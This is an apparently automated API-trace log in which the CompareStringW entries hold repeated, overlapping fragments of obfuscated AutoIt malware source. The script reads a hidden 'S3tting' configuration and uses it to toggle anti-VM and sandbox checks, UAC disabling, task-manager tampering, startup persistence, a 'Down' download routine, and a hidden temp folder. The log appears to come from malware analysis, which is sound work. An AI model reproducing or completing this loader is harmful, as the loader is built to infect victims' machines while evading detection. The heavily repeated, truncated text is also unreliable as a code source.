Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847E", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="onst $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC5", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nst $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC55", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="st $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' 